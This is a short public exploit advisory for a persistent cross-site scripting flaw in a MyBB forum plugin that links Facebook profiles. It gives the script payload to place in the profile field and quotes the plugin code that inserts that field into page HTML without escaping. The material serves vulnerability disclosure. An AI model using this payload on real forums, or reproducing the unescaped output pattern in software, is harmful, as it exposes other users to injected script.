# Exploit Title: MyBB Facebook Profile Plugin Persistant XSS
# Date: 12/12/2012
# Exploit Author: limb0
# Vendor Homepage: http://www.collectiontricks.it/
# Software Link: http://mods.mybb.com/view/facebook-profile-link-on-postbit-2-2
# Version: 2.4
# Tested on: Linux
 
###################################P-XSS######################################
 
Installation:
 
1. Upload all folder to your MyBB installation directory.
2. Go to your Admin-CP and click Plugins.
3. Click Install & Activate.
 
Configuration:
 
User-CP >> Edit Profile >> Facebook id/nickname >> Type: "><script>alert(/limb0/)</script>
Then visit one of your threads,and voila.
 
Proofs:
Configuration:http://postimage.org/image/sumvqlro7/
Testing:http://postimage.org/image/57tjltqb9/
 
-------------------------------Vulnerable Code---------------------------------------
Line 200-216
                    $post["iconfacebook"] = '<a href="http://www.facebook.com/' . $post["facebook"] .'" TARGET=_BLANK><img src="'.$mybb->settings['bburl'].'/images/facebook.gif' .'" /></a>';
                    } else
                    {
                    }
                } else {
                    $post["iconfacebook"] = '<a href="http://www.facebook.com/' . $post["facebook"] .'" TARGET=_BLANK><img src="'.$mybb->settings['bburl'].'/images/facebook.gif' .'" /></a>';
                }  
            }
 
 
This vulnerable is dedicated to my brothers. <3